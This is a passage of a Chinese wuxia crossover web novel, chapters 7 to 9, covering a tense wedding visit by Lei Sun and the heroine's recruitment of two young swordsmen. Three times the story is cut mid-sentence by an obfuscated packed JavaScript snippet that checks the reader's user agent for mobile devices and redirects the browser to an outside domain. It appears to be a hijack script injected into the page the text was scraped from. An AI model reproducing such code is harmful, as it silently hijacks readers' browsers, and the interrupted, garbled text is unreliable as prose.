《集齐三个前夫后穿越了[综武侠]》 7. 007 不得不说,江湖中人对于遭到刺杀这种事情的接受程度的确很高。 陆小凤与司空摘星抵达迷天盟驻地的时候,这场备受汴京城瞩目的婚礼,已有条不紊地继续举办了下去。 迷天盟中迎客的仆从自他手中接过了贺礼,满脸带笑地将他带到了酒席之上。 若是不知先前发生了何事,陆小凤简直要怀疑,自己只是来到了一个再普通不过的婚礼。 谁让…… 关七诚然是个疯子。 在接亲的路上出了这样大的岔子,就连六扇门的捕头都被牵涉进来,迷天盟的下属中遇袭身死的也不在少数,他却在见到师青若安然折返后,便收敛起了满身杀气,“听话”地继续带队前行。 至于迷天盟那位圣主夫人,本就没在多少人面前正式露脸,现在有红盖头与却扇覆面,谁也看不出她到底在想些什么。 这对太过特殊的新人“带了个好头”,其余人等就更不用说了。 倒是人群中还隐约能听到一些人的窃窃私语,让人意识到此地的不同寻常。 “……要我说,这次有些人真是损兵折将了。” “你是说雷——” “嘘,小点声,谁知道这里有没有六分半堂的人。” “有又如何呢?早年间六分半堂打出的旗号还执行得令人心服口服,交了三分半的所得,遇到了麻烦,他们就会拿出六分半的力量来抗衡,现在却……” “还不如金风细雨楼讲义气些。” “可苏楼主早年受伤,有病在身,又到底不如六分半堂稳当。别忘了,雷总堂主背后又还有江南霹雳堂撑腰。” “……” 陆小凤将这些声音听在耳中,心中暗自琢磨了一番京中的局势,就见司空摘星正在打量着前院一角的情况。 迷天盟的三圣主依然身着蓝布长衫,但不比先前在盟中自在,在外人面前,他的头顶上戴着挖了洞的竹笠,只露出一双寒光四射的眼睛。 若是未曾看错的话,在他的肩头有一道不轻的刀伤,正裹缠包扎着。 听说先前因无情总捕的缘故,中道截杀的刺客有大半被当场擒获,送交六扇门法办。 那位直接对着无情出手的豆子婆婆,更是因为被情.人箭所伤,压根没有逃脱的机会。 唯独走脱的一人,便是那手持炫目暗器的长衫青年。 三圣主任鬼神赶到及时,出手对其拦上了一拦,却不料那青年年纪不大,剑法极其高明,直接杀出了一条血路,也让任鬼神受了伤。 现在便只能带伤戍卫于迷天盟中。 “你在看什么?” 司空摘星冷笑:“我在看有些人依然要装模作样,贼心不死,可惜先前就已被师姑娘识破了伎俩,不过是徒添笑料而已。” “那你也没什么可担心的,可见你那位师姑娘还是稳操胜券。” 陆小凤答话间望了望天色,心中却不由再度腹诽,这种三句话不离一个人的情况,可无论如何也不能出现在他的身上。 听说这位迷天盟的圣主之所以疯癫,也与早年间的一段情伤有关。 偏偏他现在迎娶的这位夫人也不是什么省油的灯…… 由此可见,做浪子有时候也有做浪子的好处。 等等。 陆小凤的思绪戛然而止,猛地收回了视线。 他这突如其来的反应,不是因为那婚宴的仪式即将正式举办,有司仪发出了信号,而是因为—— 这庭院之中忽然之间就安静了下来。 先前在谈论六分半堂与金风细雨楼的声音,已在一瞬之间消失无踪。 甚至于先前还在高谈阔论的人,都像是被人点穴定格在了那里,依然保持着张嘴的姿势,却再没有发出声音。 只是他们此刻看向的再不是自己的同伴,而是那几个正从门外走进来的人。 或者更为准确的说,是两个人。 透过半透的纱帘,只需微微挪开却扇,师青若就能看到这两人的模样。 走在前头的那人身着灰袍宽袖,像是个正在逛街的长者一般,将手拢在衣襟之中。 若非他身上独树一帜的气场,简直要令人怀疑,这是不是哪个衣着简朴的江湖人。 但当他走入院中的时候,何止是先前那些喧哗的声音都停了下来,仿佛连带着先前的晴光普照,都已再度被阴雨所取代,变成了一片沉闷阴郁的颜色。 而跟在他身后的人,简直像是处在另一个极端。 同样素色衣衫的青年低头而行,却依然能自露出的少许面容中,看出他秀美异常的轮廓,连带着行动之间也显出几分逸然出尘的气度来。 倘若他不是羞于见人一般望向自己的鞋尖,而是能够抬起头来,只怕,与他前头那人的对比将会更为惊人。 “雷——” “雷总堂主!” 人群之中终于有人将声音从堵塞的喉咙口迸发了出来。 一石激起千层浪。 这些人没有喊错名字。 雷损。 这是六分半堂的总堂主雷损到了! 这句提醒身份的话出口,定格在原地的人再度动了起来。 一时之间,先前还傻站在原地的人纷纷往后退去,为这两人让出了一段路径。 路径的一端,是正在朝前走来的雷损,和作为他左膀右臂的大堂主狄飞惊。 而另一端,则是并肩而立的关七与师青若。 可这一看过去,在场的众人又再度陷入了一片静默之中。 几乎就是在雷损的身份被人叫破的同时,师青若抬手掀开了面上的纱帘,以更为坦荡的方式朝着这一对不速之客打量。 以至于当众人朝着那头看去的时候,第一眼看到的,正是那张艳若桃李的脸。 已数次见过她的司空摘星,尚且很难在这张脸面前维系住心神,更何况是那些初初见到她的人。 更不必说,纵然先前遭逢了一番惊变,现下面对的还是汴京城中首屈一指的人物,这张脸也没有失色半分,反而因她身在主位,又有关七在侧,平白多出了一种从容大气之态。 关七对于高手出现下意识的戒备,更是瓦解在了她抬手握住他手腕的举动之中。 她扬眉笑问:“不知雷总堂主怎么有此雅兴,亲自来到此地?” 师青若将话说得顺口,却不由在心中一阵凛然。 雷损未必知道她借着之前的局面,和苏梦枕有了一段简短却极为重要的交流,也让迷天盟与金风细雨楼之间架起了一座特殊的桥梁。 他来到此地,极有可能只是因为那场失败的刺杀。 他不会不知道,这场刺杀中有些过于直白的举动,让他一旦出现在此地,必定会在随后遭到各方的议论与评判。 但他依然选择了亲自前来,还带上了自己的得力干将,其中的意义不言而喻。 这是一个能屈能伸、也敢于快速改变策略的枭雄! 当他的手底下还有一支足够庞大的势力时,他便会是一个最可怕的对手,根本不是一次两次的失败,就能简单将其打败的。 而他这一来,带来的也是极大的变数。 …… 雷损迎着师青若的打量,又往前走了两步。 或许是因和他的衣着太过违和,师青若一眼便见到,在他此刻漫不经心拨弄着的手指之上,戴着一只颜色格外浓艳的碧绿翡翠戒指。 正因为首饰醒目,她也理所当然地看到,这只戴有翡翠戒指的手上,赫然只有两根干枯的手指,其余的三根手指,都像是被利器连根削断,已无踪影。 若按照江湖上的传闻来说,当雷损露出的是这只并不完整的手时,他表露在外的绝不是什么友好的意思。 那是独属于雷损的“绝杀令”。 偏偏当他开口的时候,却像是个温和的长辈:“算不上雅兴。关兄既算提携于我的恩人,又算是我的大舅子,如今丧妻多年后再娶,我理当送上一份贺礼。” 他话音刚落,就见与他同来的随从将数箱物件摆放在了庭院之中。 师青若打眼扫去,见都是些布匹锦缎、金银玉器之流。 乍看起来,确是一份送给新人的重礼。 可雷损的这句话,却绝不是一个真心送礼的人该当说出来的! 汴京城中谁不知道,就连师青若都被任鬼神告知过,关七与人决斗受伤之事带来的其中一个结果,正是雷阵雨身死,雷损少了一个竞争六分半堂总堂主位置的对手,说这是对雷损的提携之恩还真不为过,但要这么说的话,又怎么听都多了挖苦的意思。 雷损称关七为大舅子,则更像是个笑话。 关大姐已失踪多年,根本没正式成为过六分半堂总堂主夫人,只怕早已遭了雷损的毒手。那么这段姻亲关系便是名存实亡! 至于那句“丧妻多年后再娶”,则更像是一句想要将人逼疯的话。 以关七如今的心智,或许听不明白这句话,但师青若依然能够清楚地感觉到,她掌下的手腕有一瞬间的紧绷,像是关七的本能正在对雷损此言做出回应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930936|160639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他生气了。 师青若当即抢先一步开了口:“雷总堂主知恩图报,知道迷天盟这场婚事不够热闹,先后送来贺礼,待日后六分半堂办喜事之时,我自当与七哥一并登门祝贺,还望届时莫要将我等拒之门外。” “只是——今日成婚仓促,就来不及与雷总堂主多加叙旧了。” 雷损冷厉的神情在脸上一顿。 陆小凤不是这交谈之中的当事人,也无需在意于交涉的形象,便好悬没忍住笑出声来。 师姑娘的这句“知恩图报”,去回应雷损的感谢,无疑是证实了这段早年间的恩怨。 可这件事不止放在迷天盟这头是件奇耻大辱,对于当年追随雷阵雨的人来说,也是个天大的不幸。 谁知道这段对话传扬出去,这些人是怎么想的。 再有,先前长街上的刺杀,被师青若形容作了送热闹,又赫然是往雷损的伤口上踩了一脚。 至于将来六分半堂的喜事…… 这到底是在对应着关七娶亲,预祝雷总堂主也能重新找到一个知心人,还是在内涵六分半堂和金风细雨楼那桩注定没有结果的联姻呢? 起码在师青若从容不迫的眉眼中,全然看不出一点端倪。 她招了招手,一旁候立的随从走到了近前。 “还不让人给雷总堂主和狄大堂主看座?别传出去,说我们慢待了贵客,稍后也记得礼送出门。” 随从连声应好,手脚麻利地将两张大椅送了过来。 雷损挑了挑眉。 这几人听话的样子,不得不让人惊讶,在迷天盟中,这位横空出世的圣主夫人,到底已得到了多少话语权。 可若真算起来的话…… 师青若重新放下了头盖,掩住了唇角的一抹冷笑。 这些听话的随从正式将她视为上司,也不过只有半刻钟的时间,还得多谢苏梦枕信守承诺,真将迷天盟中属于金风细雨楼的人,移交到了她的手里。 但她也很清楚,若是她不能给出一个让人满意的答案,这些人也随时会变成她的敌人。 只不过现在,他们的存在对于师青若的意义,恐怕要远比苏梦枕所认为的,大上了太多! 她匆匆整顿了一番心绪,就听见了礼官的高声吟唱—— “拜先灵天地——” 她深吸了一口气,与关七一并,俯首叩拜了下去。 …… “你觉得她是个什么样的人?”雷损沉声朝着身旁之人发问。 他已有多年不曾见到关七了,以至于今日看到他的时候,只觉得说不出的陌生。 或许正是因为这份陌生,让他在看到关七没对他剑拔弩张刀剑相对,而是被人约束住了情绪的时候,竟然没感觉到有太多的意外。 但在一瞬的了然之后,他又忽然生出了一种前所未有的危机感。 关七是何种人物,当年他再清楚不过。 若是这个突然出现的女子能驯服关七,谁知道她接下来能走到哪一步! 所以他何止是不能掉以轻心,更要让他手下观察力最优秀的人,认真地对她做出一番评判。 他面上的神色中,仿佛并不见先前交锋留下的阴影,但狄飞惊能听得出来,雷损紧接着说出的话,比起和金风细雨楼交锋时下达的命令,有着毫不逊色的郑重。 “你可以不必在今日就给我一句回答,但我要你用你的眼睛看清楚她的底细。无论如何,我不希望我们会在她这里失手第二次。” 狄飞惊依然低垂着头,却缓缓将一双明净的眼睛上抬,映出满目的血红喜色。 “是。” 他会看清楚的。 比如他此刻就能看到,在这一片绯红之中,这朵妖红明艳的飞花远不止牵动着关七的心绪。 他还能看到,六分半堂先前在迷天盟中做出的布局,都要因为这个变数从头来过。 但很奇怪,虽然天下人给了他一句“顾盼白首无相知,天下唯有狄飞惊”的美名,他却看不出,师青若加入这团浑水之中,到底抱有什么目的。 他也看不到—— 当宾客陆续散去的时候,师青若拢着这身并未换下的嫁衣,站在迷天盟后院的廊下,看着天边夜色里的星斗,走了一会儿的神。 听到了外头打更的声响,她才忽然抬手,朝着一旁的灯笼挥了挥手。 一缕柔和的掌风,瞬间将这一盏灯笼中的蜡烛吹灭在了当场。 师青若望着长廊尽头的关七,孩子气地弯了弯唇角,“七哥你看,起风了。” 8. 008 这一缕吹灭蜡烛的发掌,若是和先前长街上那场刺杀交手众人的掌力相比,说是蚍蜉撼树也不为过。 可对于师青若来说,却无疑是从零到一的飞跃。 一缕烟烛的火气慢慢上升,最后消散在廊下夜色的阴影当中,都让师青若定定地看了许久。 直到关七走到了她的面前。 师青若转头,就见庭中月光映亮了他发尾眉峰的白霜,也将他脸上的空茫困惑神色映照得清清楚楚。 她并未抗拒,任由他伸手按在了自己的手腕上。 “……有内息了?” “不错。”师青若唇角上扬的弧度越发明显。 她不是没想过脱离系统,完全依靠于自己的努力学会武功。就算起步要比这些已经成名的江湖人士要晚,也没有关系。 倘若这个世界的势力分布和她先前玩过的游戏并无不同,那她知道数种功法与秘药,都能让她快速累积内力,足以让她缩短这个差距。 功力到了关七、诸葛神侯等人这个层次的,更是可以将功力传给他人,催生出一位武林高手。 可惜,在她刚刚来到这个世界不久,就曾经从一位师从顶尖高手的少侠那里,听到过一句评价。 他说,她经脉细弱至极,绝不适合习武,若是强行驾驭内息,只会让自己玩火自焚。 与其冒着内息紊乱爆体而亡的后果,去赌那一点经脉冲开的可能,还不如就做个不会武功的普通人。 可这个做出评价的人不知道,甚至就连关七也不知道—— 人力做不到的事情,或许用一些不能解释的非自然手段就能达成。 比如今日,当金风细雨楼卧底在迷天盟中的下属按照苏梦枕的吩咐,向着师青若递上投诚效力的信号时,系统面板上尘封已久的部分也随之解开。 达成了被【金风细雨楼势力人员认主】的结果,师青若作为系统的宿主,能够无比清晰地感觉到,一道匪夷所思的内力凭空出现,忽然在经脉中缓缓流转。 像是久经干涸的土壤之上,有一道天降甘霖凝聚起来的细流,正在以不可遏制的趋势流动,直到贯彻全身,变成了一个完整的循环。 当她自行运转这道内力的时候,它甚至能够以微不可觉的速度壮大起来。 这便让她毫不怀疑,若是…… 若是她能够将那三方势力的下属全部收拢到自己的麾下,到底能否让这个不适合习武的体质,一跃而成天纵之才! 又或者,这个随同她一起穿越的系统,其实还有更多其他的功能能让她继续探索。 就比如说—— 那双月光中愈显黑亮的眼睛凝视着关七。 像是察觉到了这道注视的目光,他也随之抬起头来。 “七哥,今日雷损登门有意试探——” 关七的眉头立时拧紧在了一处,像是想到了先前那个潜藏恶意的婚宴“贵客”。 师青若当即一把揽住了他的胳膊,以防这不太清醒的家伙能因为这一句话,直接杀奔到六分半堂去。 这般鲁莽可做不成大事。 她柔声劝道:“你先听我说完。” “他来试探他的,我们管我们自己的。我如今有了习武的机会,若能有自保的法子,到时候他再有多少算计,也注定要落空,难道不是吗?” 不知是不是因为今日婚宴虽有波折,却还是顺利举办,关七此刻的脾性要容易把控得多,也平和得多。 他其实并未真正理解师青若话中的弯弯绕绕,却在面前的那张笑靥面前,下意识地点了头。“好,我教你。” “不止是我,迷天盟中的人,也会全力保护你的安全。” 因为成婚典礼之后,她已是迷天盟中,名正言顺的半个主人。 …… 汴京城中沿街的彩纸红绸还未全数撤去,昭示着昨日曾在这里,有过一场风光大办的婚礼。 不过江湖上每一日都有新鲜的事情,寻常百姓也总有新的谈资,若是走在街头,听到的大半已不是有关于此事的种种风闻。 甚至相比起迷天盟七圣主和六分半堂雷总堂主之间的恩恩怨怨…… 当王小石帮着白愁飞一道将字画挂到木架上出摊的时候,听到更多的,还是有人在谈论那位圣主夫人的美貌。 当然了,这同他们也没什么关系。 昨日各方交手正急时,他们二人本打算伺机出手,或许能为他们找到个脱颖而出的机会。哪知道,无情总捕忽然在新娘的花轿中现身,让刺客惊了一跳的同时,也让他们两人在吃惊中忘记了该当做点什么。 最后自然是什么也没做。 至于那随后的婚宴,既无门路,就更与他们没什么关系了。 该蹲六扇门大牢的去蹲大牢,该回去养伤的去养伤,他们两人,也该继续在汴京城中讨生活。 不说了,在帮忙将这头安顿完毕后,他还得去药堂看诊。 但王小石刚想要拿起脚边的药篓起身,便见一道影子延伸到了他的眼前。 “若是要问书画……” “错了,我不是来买字画的,我是来找你的。” 王小石霍然抬头。 站在他面前的女子生着一张清灵若梦的脸,确实如她所说,并没有看向这些已经张悬出来的字画,反而以异常冷静的目光打量着他与白愁飞。这不是来让他们开张做生意的模样。 可真正令王小石为之一惊的,不是这样一个人出现在了他们的摊位前头,而是在这一个照面间,他凭借着对身形的印象,迅速认出了对方的身份。 昨日当街交手的两方中,迷天盟的几位圣主都戴着面具,其中那位二圣主,正是眼前这位不速之客! 白愁飞也意识到了这一点,起身间收拢了手指在袖中。 若是与他相熟的人必然会知道,这是他随时能够发招的表现。 朱小腰将二人的戒备看在眼里,扬唇笑道:“二位无需如此,我只是来代人传话的,我家夫人有请,劳驾随我走一趟吧。” 白愁飞脚步未动,沉声问道:“若是我二人不愿去呢?” 以他和王小石的功力都能看得出,面前这位迷天盟来客带来的邀请,倒是并无那么多强迫的意思。 否则,她大可以将迷天盟的人都布置在周围,以防他们走脱。然而此刻周遭并无江湖人士有所异动。 总不能说,都有二圣主亲自到来了,还是轻看于他们两人的本事,干脆一个人过来抓人了。 朱小腰压低了声音,眼中露出了几分戏谑:“白愁飞,二十八岁,曾化名白幽梦在洛阳唱戏,化名白鹰扬在金花镖局做镖师,也曾以白金龙为名,备受赫连将军府重用,可惜……”(*) “行了,不必往下说了。”白愁飞眉头一拧,打断了朱小腰的话,却听她在从善如流住口之后,转头便看向了王小石的方向,“王小石,现年二十三岁,师从天一居士许笑一老前辈,所用武器是与雷损的不应宝刀——” “停停停!”王小石将药篓一丢,翻出了这字画摊,生怕朱小腰继续往下说,“你这人真是过分。我们问的是为何要跟你走,你却把我二人的底细报了个干净。” 朱小腰漫不经心:“王少侠要这么说就错了。若真是将你们的底细漏个干净,就该说说白少侠当年一度做了兵部通缉的要犯,或者说说王少侠是如何自八岁开始恋爱,到如今已失恋过十五次……我也不过是想告诉你们,正因为了解,才觉得有必要走这一趟来亲自邀约。” 王小石:“……你说出来了。” 他捂脸长叹一声。 明明是本该严肃的场合,就因为朱小腰这一句话,连带着白愁飞都先开始留意他脸上的神情,像是要看出朱小腰所话是真是假。 这都叫个什么事! 不是都说迷天盟因为六分半堂的针对,前些年在京中的势力多遭围堵,大多时候只能偃旗息鼓吗?怎么还有闲情逸致关注他这样的小人物。 还是关注到了这样细枝末节的地方。 可他又怎么会知道,前来发起邀约的朱小腰在名义上是迷天盟的人,念出口的资料却是从金风细雨楼的白楼中取来的。 若不是当街将这些东西全部说出来不好,她甚至能告诉白愁飞,她接触的情报部门,连他左乳下有一块肉瘤都知道。 这便是金风细雨楼这样的势力屹立京中多年的可怕。 但就是这样的一个情报部门里,少了师姑娘的资料。 更不知道为何在短短数日间,她就从同情师姑娘的遭遇,变成了为她办事。 朱小腰一边腹诽,一边转头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930937|160639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了眼王小石比她还要茫然的表情,活像是一只呆头鹅,顿时又找回了几分安慰。她怎么算都不是最被蒙在鼓里的,呵。 她领着这两人穿过了迷天盟的驻地,停在了一处会客厅的面前:“就是这里了。” 朱小腰停住了脚步,面对着王小石投来的疑惑目光点了点头。“夫人有令,我便不跟进去了。她说——故人叙旧,不必有这么多人在旁。” 故人? 王小石疑惑不已,不知这迷天盟的圣主夫人到底是何时与他打过交道,以至于有了故人这样的说法。 但他既已身在此地,或许打从走进迷天盟的那一刻起,关注着此地的人就会给他打上特殊的烙印,便没有了后退的机会。 他侧过头朝着白愁飞看了一眼,从对方的眼中读到了同样的情绪。 反正若是这位圣主夫人若是有何不轨的企图,他们二人也有杀出去的机会,或许还能借此名扬京都,那也无所谓这冒险举动。 先进去看看! 让两人都觉有些不寻常的是,不止朱小腰来找他们的时候并未带上多少下属,就连这厅堂之中,都如话中所说,并没有什么人戍守,像是为了防止打扰到他们的交谈。 在这撤去了喜宴陈设的屋中,最为醒目的正是那道背对大门的身影。 开门之时吹入厅中的风,将她身上红绿正色的长衫吹动,显得这道身影略显单薄清瘦,倒是发间的青鸟金簪含翠振翅,红黑金绿四色纠缠,又将这份单薄变成了轻盈。 耳闻后方的开门之声,她缓缓转过头来,看向了来人的方向。 王小石当即失声直呼:“师姑娘,怎么是你?” 当那张被衣衫映衬得越发华贵的面容转向他的时候,在一瞬间的美色震撼过后,他立刻意识到,朱小腰口中的“故人”并不是一句胡乱说出的话,而是事实。 他刚刚辞别师父出山的时候,曾在湖北与一众贩卖人口的恶徒有过交手,救下了一个满面泥污、不会武功的姑娘。 在脱离了危险之后,他方才被告知,对方名为师青若,乃是不慎之下遭到掳劫的。 只可惜在相伴上京的途中,与他们不打不相识的温姑娘被他们气走了,在江上救下的田姑娘不辞而别,而师姑娘则因京城危险,告知他们将要寻一地隐居,也离开了。 仅剩下他和白愁飞二人相伴闯荡江湖,在汴京城里混日子。 正因为如此,他怎么都没想到,突然再遇到师青若的时候,她的身份已摇身一变,变成了迷天盟的圣主夫人,也正是—— 昨日那场婚宴的主角。 若非师青若此刻看起来并未遭到束缚限制,神容间也一改彼时的不安,王小石简直要怀疑,她是被迷天盟的关七抢来这里的。 可她看起来过得很好。 当她敛袖落座的那一刻,青绿色的流波铺落在她身侧,倒映着金红暗纹,远比当日的荆钗布裙适合她百倍。 这张天下绝艳的面容,好像本应该就有金玉锦缎捧在面前,只求能见她一笑。 她也确实在此时笑了:“当日江上有幸,听到王公子与白公子的志向,如今有幸能实现一二,便贸然相邀,不会见怪吧?” “白公子说,男儿不能开万世功业,名扬天下,活来便没有意思,王公子说,你只是要试一试,是不是非要有千秋名利万世功业并不在乎,但不试一试就放弃,多少有些遗憾。” “不知今日,这句话可有变过?” 江上清风,山间明月,流波照影,举樽相和。 那是在即将抵达京城时候的交谈,虽在汴京城中多时沉寂,也不曾被两人忘记。 甚至或许是因为随后的“走散”,反而在记忆里变得愈发清晰了起来。 王小石没有想到会从师青若口中说出这句话来。 只是当她将话出口的时候,他好像恍然间又想到了当日的景象。 那日的师青若坐在船尾,像是古老的故事里能令江鱼下沉的西施姑娘,现在却摇身端坐于明堂之上,变成了朝着他们俯视而来的贵人。 白愁飞的呼吸沉重了一瞬,这才回道:“纵然未曾变过,也不一定要是迷天盟。” 师青若摇头:“可只有迷天盟百废待兴,能给你们……” “最不可取代的位置。” 9. 009 白愁飞本就心思极重。 朱小腰报出的履历,正是他早年间为图发迹而做出的种种尝试。 进入汴京之前的江上闲聊,他所说的话也是一句真话。 男儿若不能开万世功业,扬名立万,和白来这世上一次,也并无分别。 若是按照已故范文正公的说法,他这个人,“宁鸣而死,不默而生。” 所以他不像王小石,还保留着少年人初入江湖的侠肝义胆和天真—— 他不仅要出人头地,还要成为大富大贵之人。 师青若的这一句“不可取代的位置”,简直像是一支最为精准的利箭,击中了靶心。 她已继续说了下去。 “金风细雨楼成立已久,纵然只算苏楼主接任到如今,手下也已有不知多少心腹。楼里东南西北中五神,更是各有所长,统御部众。六分半堂脱胎于江南霹雳堂,在江湖上久负盛名,麾下的各堂主单独拿出来,都是京师武林响当当的人物。” “若无因缘际会,他们为何要选择你们这样来历不明的人当做自己的臂膀助力?把事情交给心腹来办,当然要比你们合适。” 可是。 “可我不同。” 王小石越听越是觉得,在师姑娘身上发生的变化,实在是让人难以想象。 就像此刻,明明没有迷天盟的其余帮众在侧,师青若言谈间,也分明已有一派挥斥方遒的气度。 甚至让人忽略掉了一件事。 她说的,既是她招揽人才的优势,又何尝不是她的劣势。 她的根基,终究还是太浅了。 可也正如她所说,这个根基浅,对白愁飞和王小石来说,足够独一无二。 “迷天盟中众多高手是因我夫君的缘故,才齐聚在此,可我夫君先前遭难,以至于盟中一片散沙。如今万事从头来过,正需要有武功有谋略之人脱颖而出。若是白公子与王公子愿意屈就,迷天盟自当拿出招揽的诚意。” 她顿了顿,忽然神情柔和了几分:“何况,就是不为盟中事务,二位于我曾有救命之恩,我也合该有所回报。” 这话说得确是真心实意,只是不知是否因为今时的身份有别,王小石还是连忙摆了摆手:“先前的事情就不必多提了,非要说的话,师姑娘也帮了我们不少忙。” 他行事莽撞,白愁飞为人倨傲,将那些被拐骗来的孩童安顿下来的事情,大多是师青若做的。 当时他便觉得,她举止有度,不像是出自山野人家…… 不过现在说这些也没什么意思,还是看看眼前吧。 他沉吟须臾,又问:“我姑且不问,为何师姑娘……” “是师夫人。”师青若认真纠正。 王小石尴尬地继续说道:“师夫人能代表关圣主决定,将我二人招入盟中委以重任,我只想知道,算起来我等也不过萍水相逢,你又为何相信,我们能于你有大用呢?” 师承、武功,不能作为评判的唯一标准。 否则他也不会和白愁飞在汴京城中处处受制了。 师青若眉眼弯弯:“要这么说的话,你是愿意接下我的邀约了?” 王小石没有回答。 但他的心中应当是有一个答案的。 假使换一人在他的面前,并不是与他曾有过往来的师青若,选定一个势力投效,对他来说还要问更多的问题。 迷天盟多年间群龙无首,以至于其中鱼龙混杂,更让真正有才能的人不会选择此地。 然而现在,他起码知道,师青若品性如何。 正因如此,在师青若这头,要判断出王小石的态度也并不太难。 他说出的那句话,看似仍旧在试探,但若他对于留在迷天盟中毫无兴趣可言,便大可不必问出这样一个问题。 他背在背上的那把挽留奇剑,在武林之中,可与雷损的不应宝刀以及苏梦枕的红袖刀相提并论,要借此杀出重围、冲出迷天盟绝非难事。 可现在他不仅没有动,还问的是,他们二人有何作用。 师青若答道:“你们在盟中有何作用尚不好说,因为在正式加入迷天盟前,我对你们还有一个考验。办成了这件事,不仅能堵上盟中的悠悠众口,还能让你们更清楚自己该当做些什么。” 白愁飞顺着师青若的目光看去,就见她眉眼慵懒地扫视了一圈周遭。 言外之意,此刻不必提防隔墙有耳,她要交代的,自然是一件大事! 他面上不显,胸膛之中的心跳却再度加快了起来。 若是错过了这个由途中故人送来的机会,他要再得到一个跻身人前的契机,恐怕真要做些更加危险,也更有可能反过来遭难的事情。 师青若不说考验便罢,说了之后,白愁飞方才更觉此事妥当。 没等王小石回话,他已当先一步问道:“不知师夫人的考验是什么?” 师青若徐徐反问:“以你和王公子这数月间在汴京城中所见,将迷天盟和金风细雨楼与六分半堂相比,此地最大的短处在何处?” 白愁飞一愣。 他是混过江湖帮派的。 若要分析帮派发展的情况,辨析帮中号令的正误,他比寻常人都要有经验得多。 自他抵达京中之后,他也确实在贩卖书画之余,观望过各方势力的优劣。 迷天盟本不在他的选择之中,自然会以更加挑剔的眼神来评判。 在师青若横空出世,令关七找回了一部分神志之前,说这里是一盘散沙也不为过。 现在,她却还要从中挑出一个最大的短处。 他直视着对方那双幽邃的眼睛,本想脱口而出的一个“人”字又吞咽了回去。 不对!这应当不是师青若想要听到的答案。 以先前来找他与王小石的那位二圣主为例,再看那位武功独步天下的关圣主,迷天盟绝不缺人才,缺的是统筹。 若是将这个统筹说得再直白一些—— “是钱。”白愁飞答道。 这个答案出口,他便看到师青若对他露出了赞许的笑容。 他顺着这个答案说了下去:“我说的钱不是具体的金钱。大凡成了气候的势力,靠山吃山,靠水吃水,总需要有经济来源,以支持帮中的衣食住行、药物武器。若是帮派再大些,便会与盐帮漕运、陆上走镖合作,再大些,甚至是将人手租借给官府,干些押运粮饷、戍守边防的行当。若要自给自足,则会再养一批铁工、木工、瓦工和种地养蚕的农人。这些人手,在迷天盟中是有,但毫不成气候。” “六分半堂已能让各方行会主动上交三分半所得,迷天盟却……说得难听些,还有不少在做水贼的。” 师青若合掌赞道:“正是你所说的这样。” 迷天盟的这场婚宴看似办得气派,师青若亲自参与其中,却很难不察觉到这其中的千疮百孔。 要是经济账都算不明白,就算将盟中的人上下清点一遍,将卧底都给扫地出门,也难以在汴京城中站稳脚跟。 这种事情,关七是没法解决的。 要是和他说,“我们要同雷损抢生意”,他估计得理解成,“要跟雷损打一架。” “师夫人希望我们怎么做?”白愁飞分析到最后,忍不住皱起了眉头。 毫无疑问,这些业务财政上的东西,都不能一蹴而就。 而一个势力少了底蕴,要想崛起,就需要太多的机缘巧合。 他这么一分析,甚至有些怀疑,光靠着迷天盟的“独一无二”,到底值不值得他做出这个选择。 师青若仿佛看出了他的猜疑,从容答道:“白公子在汴京城中卖过书画,应当知道一个道理,就算你的画作再如何优秀拔群,若是本地的画商有心排外,那你也难以卖上价格。帮派的营生也是如此。” “如你所说的盐帮漕运和陆上镖局,铁器锻造酒肆茶楼,这几年间已被六分半堂和金风细雨楼瓜分,没给人剩下多少可供发展之处。迷天盟贸然涉足,不仅不能为帮派开源,令帮众各司其职,反而会再起波澜,闹出事端来。” 更何况,这哪里是一天两天就能成气候的。 “那么师夫人的意思是——” 师青若将一旁桌案上的卷轴,朝着王小石和白愁飞递了过去。“大多事情都是难在开头,所以要解决迷天盟的财政问题,头一件事我想做件特殊的事情,请你们去捞一份偏财。” 王小石顺着师青若的示意打开了卷轴,奇怪地看到,在这卷轴之上并没有写着要让他们怎么做,而是画着一个女子的面容。 若这画像与本人足够相似的话,这也能称得上是一位佳丽了。 只是不知她是何身份…… “她叫上官飞燕。”师青若解释道。 “近来,金……近来迷天盟的眼线发觉,此人自称是金鹏王朝的后人在外活动,有意讨还一笔旧账。但我们的人又发觉,她背后往来的人并不简单,名为讨债,实则是在为人办事。” “我想请你们二人走一趟,将这背后的宝藏给找出来。” 王小石不解:“可按照夫人所说,她的来历并不简单,是否有可能并没有宝藏一说呢?” 王小石自己的江湖经验不多,并不代表着他的师父没跟他说过江湖上的事情。 这听起来委实像是个骗局。 师青若意味深长:“那谁又告诉你,这笔偏财一定是那份宝藏呢?江湖风波,牵扯进来的人若是足够富裕,总能出现些不义之财的。眼下关圣主刚刚成亲,无论是六分半堂还是金风细雨楼,都将目光集中在京师重地,反而让我们在另一头能分出人手来,这不正是最好的机会吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 